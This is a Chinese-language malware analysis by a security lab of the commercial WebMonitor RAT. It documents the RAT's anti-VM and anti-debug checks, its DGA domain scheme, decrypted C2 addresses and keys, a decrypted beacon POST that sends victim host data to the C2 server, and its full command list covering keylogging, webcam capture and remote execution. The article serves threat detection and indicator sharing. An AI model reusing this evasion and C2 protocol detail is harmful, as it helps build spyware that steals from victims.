深度分析WebMonitor RAT远控木马 – 作者:深信服千里目安全实验室

样本简介

之前分析过伪装成Zoom安装包的WebMonitor RAT后门母体部分,这里开始分析核心远控。WebMonitor RAT远控木马自2017年开始在国外黑客论坛发布,并且在持续开发中,覆盖PC与Android端,新的产品会存在新的功能。
1599545328.png!small
除了在论坛发布以外,如果对其搜索,还会发现公网存在一个疑似合法的官方发布站点。如下,提供购买与演示,也可提供通过浏览器远程控制访问功能。
1599545337.png!small
来到购买界面,发现采用每年付款的方式进行交付使用,可选择一年与半年时间,单价折合人民 币价格不菲,看起来是个中规中矩的管理工具发布站点。
1599545351.png!small
以上提供的功能有可以远控桌面控制,开启摄像头传输图像,获取麦克风音频输入,管理本地磁盘文件,获取键盘输入记录等,这些是普遍的RAT所具有的功能。作为一款商业远控,采用了C2-as-a-Service(C2aaS)模式分发, 即“命令与控制服务器即服务”,用户不需要搭建并运行自己的C&C服务,而是只需购买官方服务后,便可以使用它的所有功能。由于是采用付费使用的工具,想当然想了解下是否存在对应的破解版本,于是经过搜索,公网并没有找到任何该RAT工具的破解版本。值得一提的是,切记如下的所谓已破解工具实质非WebMonitor RAT远控,而是另一款远控,如果用户下载到本地实验时被无意运行后,则会连接至该作者的C&C服务端。
1599545364.png!small
如下是给用户演示的版本,提供的功能还是挺丰富的,由于是演示版本,并没有列举所有可用功能,可通过浏览器对远程机器进行控制。
1599545376.png!small
在浏览器中的实际控制面板,如下。
1599545388.png!small
在2018年4月发布的有关WebMonitor的一篇文章中,Palo Alto Networks的研究人员指出,该产品主要在黑客论坛上进行广告宣传,其开发人员推广了该软件的几种特性,以此吸引那些希望秘密窃取PC机密信息的黑客。例如WebMonitor RAT可以对生成的客户端恶意软件进行加密、模糊处理与添加反分析,使其更难被反病毒程序检测到。
由于该RAT工具可以获取到远程受控机器的临时内存数据,并且可以从电子邮件中检索密码,受控机器的WIFI凭证等,同时该工具被安装时可以设置禁止弹出任何通知消息,以上行为表明这已经是一款恶意木马具有的行为了,所不同的是该工具被公开进行发售。该RAT工具目前已经被全球大多数杀毒软件归类到恶意软件家族,与此同时已被黑客进行非法使用,充当攻击媒介,部署在已被入侵的受害机器上。
关于该RAT工具的作者溯源,通过RevCode官网提供的信息发现是位于瑞典的一家合法公司,通过总部设在瑞典的信用信息服务Ratsit AB搜到了如下信息,可以查找到负责人。
1599545409.png!small
1599545412.png!small
更多有关WebMonitor RAT背后非常精彩的故事,详情可查看: https://krebsonsecurity.com/2019/04/whos-behind-the-revcode-webmonitor-rat/

样本分析

将核心远控从母体提取后,查询发现加了UPX壳,对其脱壳后如下。
1599545466.png!small
分析后采用C++编写,最初的版本采用Visual Basic 6(VB6)编写,本次该样本编译时间为4月18日。
1599545470.png!small
1599545474.png!small
查找到较少的导入表,这也是恶意软件对抗反分析常采用的技巧之一。
1599545525.png!small
字符串中发现如下开源项目痕迹,猜测图像处理时会采用该项目,这也符合提供可以图像传输的功能。
Copyright (C) 1991-2019 The libjpeg-turbo Project and many others
ImageMagick / jpeg-turbo:Windows版ImageMagick的jpeg-turbo
该RAT工具软件架构上采用多线程实现,第一个执行的线程会存在反虚拟机、反沙箱行为,以此阻止分析。
1599545550.png!small
1599545553.png!small
得到Temp目录路径,拼接路径:”C:\Users\onion\AppData\Local\Temp\rev-novm.dat”,后续在本地存储获取的相关信息。
1599545564.png!small
枚举当前系统服务,所有服务状态信息输出至XML格式。
1599545577.png!small
1599545580.png!small
计算fMain字符串的MD5,后续比对。
1599545590.png!small
1599545623.png!small
检测是否运行在虚拟机环境,例如:VMware Tools、QEMU-GA等服务名称。
1599545636.png!small
产生批处理文件,作用是删除自身。
1599545650.png!small
虚拟机检测完成后,进入Temp目录,之后进行注册表相关操作,目的是检测远程桌面服务环境。
1599545676.png!small
1599545680.png!small
采用rdtsc指令获取时间差进行反调试,防止运行在模拟环境。
1599545691.png!small
1599545695.png!small
判断等待的时间进行反分析,如下。
1599545705.png!small
1599545709.png!small
使用线程中的定时器队列进行反分析,如下。
1599545720.png!small
1599545723.png!small
采用线程上下文,进行反调试。
1599545733.png!small
1599545737.png!small
采用GlobalMemoryStatusEx函数进行反调试,会检索有关系统当前物理和虚拟内存使用情况的信息。
1599545756.png!small
1599545763.png!small
采用GetTickCount获取时间差进行反调试,调试的时候会导致时间间隔大于一秒。
1599551391.png!small
1599551394.png!small
1599551397.png!small
采用cpuid指令进行反调试,如下。
1599551406.png!small
1599551409.png!small
会检测虚拟环境,例如:KVMKVMKVM、Microsoft Hv、VMwareVMware、XenVMMXenVMM、prl hyperv、VBoxVBoxVBox。
1599551419.png!small
1599551422.png!small
采用GetPwrCapabilities函数,检索有关系统电源功能的信息进行反调试。
1599551432.png!small
1599551435.png!small
采用WMI指令操作进行反分析,如下。
1599551444.png!small
1599551447.png!small
如下查询相关信息,进行反分析。
1599551456.png!small
1599551458.png!small
采用SMC一段代码,调用ring3反调试API,感觉有点多此一举。
1599551467.png!small
1599551471.png!small
1599551474.png!small
采用ring3层API进行反调试,如下。
1599551742.png!small
1599551744.png!small
采用FS寄存器进行反分析,如下。
1599551753.png!small
1599551756.png!small
采用CheckRemoteDebuggerPresent 进行反调试,如下。
1599551847.png!small
1599551850.png!small
通过wine_get_unix_file_name会检测是否运行在wine环境
1599551859.png!small
采用GetAdaptersInfo函数检索本地计算机的适配器信息进行反分析,如下。
1599551867.png!small
后续还会检测是否存在”VMware SVGA 3D”进行反分析,如下。
1599551875.png!small
由于该样本反分析的手段过多,暂不一一列举,经统计一共采用了24次反分析过程。
后续还有检测,检测当前进程信息。
1599551903.png!small
解密字符串得到疑似C&C地址:”dabmaster.wm01.to”、端口:”443″、URL:”/recv7.php”,硬编码值:”ifxBmG0Z7″、DNS:”sdns.se,1.2.4.8,114.114.114.114″、KEY:”MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ”,如下。
1599551918.png!small
1599551921.png!small
1599551927.png!small
产生一段随机的16字节数据:”anw3R7pQTGYsHilF”
1599551936.png!small
第二段随机数据”rM7N0yU8nSHPnRze”,对其MD5得到的值:”44796de8b3df9e68666bd67b8bdc12bc”后续会使用。
1599551946.png!small
sub_4974B7的作用是收集一些系统用户信息,从这个函数开始,对之前获取的sdns.se(瑞典的公共DNS)进行DNS查询,得到DNS真实IP地址:185.61.148.26。
1599551957.png!small
1599551960.png!small
对抗静态分析的手段之一是样本会采用手动加载dll的方式调用,并调用指定的导出函数,从而调用所需的API函数,如下。
1599551973.png!small
1599551976.png!small
1599551979.png!small
1599551982.png!small
1599551985.png!small
1599551989.png!small
开始通信前,会访问NTP服务器进行时间校准。例如”0.se.pool.ntp.org“,接收成功后如下。
1599551998.png!small
以上是查询NTP服务器获取时间,以下是后续进行通信的DGA域名生成过程,首先是随机生成一段8位数拼接之前的疑似C&C子域前缀,之后对其MD5得到”060fd9010b51783dd5c1094cb60dadf3″,该样本前缀为dabmaster。
1599552007.png!small
对生成的随机域名指定DNS服务器查询:”-n 060fd9010b51783dd5c1094cb60dadf3.se -t A -s 185.61.148.26″,DNS查询060fd9010b51783dd5c1094cb60dadf3.se,如下。
1599552015.png!small
创建的互斥量为MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ3.00
1599552024.png!small
获取当前系统时间,生成一段随机key,进行拼接产生最后请求时的keyauth值。
1599552033.png!small
原数据:
"MWxG5mDH1CADACOs|4bb602369965486c61d97c5b029f48db|43|18|27"
编码数据:
"TVd4RzVtREgxQ0FEQUNPc3w0YmI2MDIzNjk5NjU0ODZjNjFkOTdjNWIwMjlmNDhkYnw0M3wxOHwyNw=="
1599552042.png!small
1599552062.png!small
HTTP请求的数据body部分:
"keyauth=TVd4RzVtREgxQ0FEQUNPc3w0YmI2MDIzNjk5NjU0ODZjNjFkOTdjNWIwMjlmNDhkYnw0M3wxOHwyNw==&key=MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ&uid=bc9e336dcab42d6bc7dfad596c3e9f8d&user=dabmaster&cmp=0&enc="
1599552069.png!small
设置User-Agent为WebMonitor Client,如下。
1599552079.png!small
采用POST方式请求服务器,一旦获取到可用的IP,后续便会访问读取服务端返回的内容(指令)。
1599552086.png!small
样本中存在的可疑字符串”WebMonitorstamp592″,表明这是一个WebMonitor RAT的版本号。由于采用https的方式,相当于流量已加密,但可以根据请求的HOST与User-Agent来检测并阻断。后续与服务端握手成功后(共享密钥),开始收集本地各种信息,磁盘。系统版本与当前窗口,判断当前用户是否为管理员,当前用户名,当前计算机名,如下。
1599552096.png!small
从之前的互斥量内容来判断,这是一个3.0版本。发送收集的数据至服务端:
Sending client data: 192.168.80.128|ONION-PC|onion|1|Microsoft Windows 7 Professional (x86)|4bb602369965486c71d97c5b029f48db|0|5ZC+5oSb56C06KejIC0aEVfMHg4MjYwMF9wYXRjaC5leGUgLSBbTENHIC0gIOe6v+eoiyAgMDAwMDA4MjQsIOaooeWdlyAtIFBFXzB4ODI2XQ==|4665|3.00.
1599552105.png!small
1599552109.png!small
通过WMI获取主板信息:”SELECT * FROM Win32_BaseBoard”,获取序列号:”SerialNumber”等信息。
1599552118.png!small
获取硬件信息GetCurrentHwProfileW:”{846ee340-7039-11de-9d20-806e6f6e6963}”。
1599552134.png!small
收集用户信息,如下。
1599552149.png!small
1599552152.png!small
对注册表操作,获取MachineGuid。
1599552163.png!small
1599552166.png!small
实际的HTTP请求, 内容已解密如下,该处的mode为connect,目前处于连接状态。
POST /recv7.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: WebMonitor Client
Host: x.x.x.x
Content-Length: 428
Cache-Control: no-cache
mode=Y29ubmVjdA==&data=MTkyLjE2OC 44MC 4xMjh8T05JT04tUEN8b25pb258MXxNaWNyb3NvZnQgV2luZG93cyA3IFByb2Zlc3Npb25hbCAoeDg2KXw0YmI2MDIzNjk5NjU0ODZjNjFkOTdjNWIwMjlmNDhkYnwwfDVaQys1b1NiNTZDMDZLZWpJQzBnVUVWZk1IZzRNall3TUY5d1lYUmphQzVsZUdVZ0xTQmJURU5ISUMwZ0lPZTZ2K2VvaXlBZ01EQXdNREE0TWpRc0lPYW9vZVdkbHlBdElGQkZYekI0T0RJMlhRPT18NDY2NXwzLjAw&key=MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ&uid=bc9e336dcab42d6bc7dfad596c3e9f8d&user=dabmaster&cmp=0&enc=0

1599552178.png!small

如果握手成功,将会得到共享密钥。”Handshake successful! Shared Key = e40d9f92461ab59e519cce13572e15b6 (hex)”
1599552189.png!small
其余线程实现其余功能,例如传输屏幕截屏数据,格式如下。
"mode=c2VuZF9wZGdfc2NyZWVuX3N0cmVhbV9zdGFydA==&t_id=&data="
1599552197.png!small
后续开启线程进行键盘输入记录,线程核心函数sub_48AB24。
1599552205.png!small
1599552208.png!small
fn函数如下
1599552217.png!small
1599552220.png!small
新线程核心函数入口sub_48A953,一直检测对应标志等待服务端发送指令,如果标志存在,则会发送记录的键盘输入数据至服务端。
1599552230.png!small
新线程sub_4CF5EB,根据不同的系统位数(分为32位与64位系统环境)会修改注册表设置自启动。
1599552240.png!small
1599552243.png!small
可执行文件名的后4个字符为之前随机产生的字符串4bb6,如下。
1599552313.png!small
新线程核心函数入口sub_4C33AB,作用是获取到的当前活动窗口名称,例如:5ZC+5oSb56C06KejIC0gUEVfMHg4MjYwMF9wYXRjaC5leGUgLSBbTENHIC0gIOe6v+eoiyAgMDAwMDA5RDAsIOaooeWdlyAtIFBFXzB4ODI2XQ==
解码后:吾愛破解 – PE_0x82600_patch.exe – [LCG –  线程  000009D0, 模块 – PE_0x826]
获取到的所有指令功能信息,一共80个。
APPLICATIONS_GET
APPLICATIONS_UNINSTALL
APP_CMD
APP_INTERVAL_SET
APP_MAX_FILE_SIZE
APP_MAX_PACKET_SIZE
AUDIO_DRIVERS
AUDIO_SNAPSHOT
AUDIO_STREAM_START
AUDIO_STREAM_STOP
CLIPBOARD_CLEAR
CLIPBOARD_GET
CLIPBOARD_SET
CONNECTIONS_CLOSE
CONNECTIONS_GET
DEVICES_GET
DEVICE_STATE
DRIVES_GET
DRIVE_OFFSETS_READ
DRIVE_OPERATIONS_INFO
DRIVE_SECTORS_WRITE
FILES_GET
FILE_COPY
FILE_DELETE
FILE_DOWNLOAD
FILE_EXEC
FILE_MOVE
FILE_UPLOAD
FILE_DOWNLOAD_EXEC
HARDWARE_GET
HARDWARE_GET_PROPERTY
KEYLOG_DEL
KEYLOG_GET
KEYLOG_STREAM_START
KEYLOG_STREAM_STOP
NET_INTERFACES
PDG_EXEC
PDG_REV_PROXY_START
PDG_REV_PROXY_STOP
SSL_SCREEN_START
SSL_SCREEN_STOP
PDG_SCREEN_STREAM_START
PDG_SCREEN_STREAM_STOP
PRC_GET
PRC_PRIORITY
PRC_RESUME
PRC_SUSPEND
PRC_TERMINATE
REG_ADD_KEY
REG_ADD_VALUE
REG_DELETE_KEY
REG_DELETE_VALUE
REG_EDIT_VALUE
REG_GET_KEYS
REG_GET_VALUES
REG_RENAME_VALUE
SCREEN_MONITORS
SCREEN_SNAPSHOT
SCREEN_STREAM_START
SCREEN_STREAM_STOP
SERVICES_GET
SERVICES_PAUSE
SERVICES_RESUME
SERVICES_START
SERVICES_STOP
SERVICES_UNINSTALL
SHELL_EXEC
SHELL_START
SHELL_STOP
SYS_INFO
THUMBNAIL_GET
WEBCAM_DRIVERS
WEBCAM_SNAPSHOT
WIFIAP_START
WIFIAP_STOP
WEBCAM_STREAM_START
WEBCAM_STREAM_STOP
WND_CMD
WND_GET
WND_PATCH
控制指令采用hash比对的形式
1599552328.png!small
1599552332.png!small
统一的线程入口都为0048F578,采用多线程运行,每个线程里执行的核心函数都是动态加载的。
1599552341.png!small
采用了开源项目来对图像进行处理,便于本地获取并后续传输。
1599552350.png!small

运行流程图

1599552376.png!small

威胁情报

HOST
[md5(8位随机数字+dabmaster)].se(属于DGA生成域名,例如3525d348e373a4400c36b372b54088e2[.]se、81bad81f3efd4b461489b9a4df85eeb6[.]se,真实IP为实际C&C服务器,该样本为:213[.]188[.]152[.]96:443)
SDNS
sdns.se(瑞典公共DNS)
URL
dabmaster.wm01.to
HASH
FF341DFF3CAA325C07BBDFEF8D426DDE
5897D25B98492 F2EC9EA7A958D9392A6

来源:freebuf.com 2020-09-08 17:00:30 by: 深信服千里目安全实验室

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论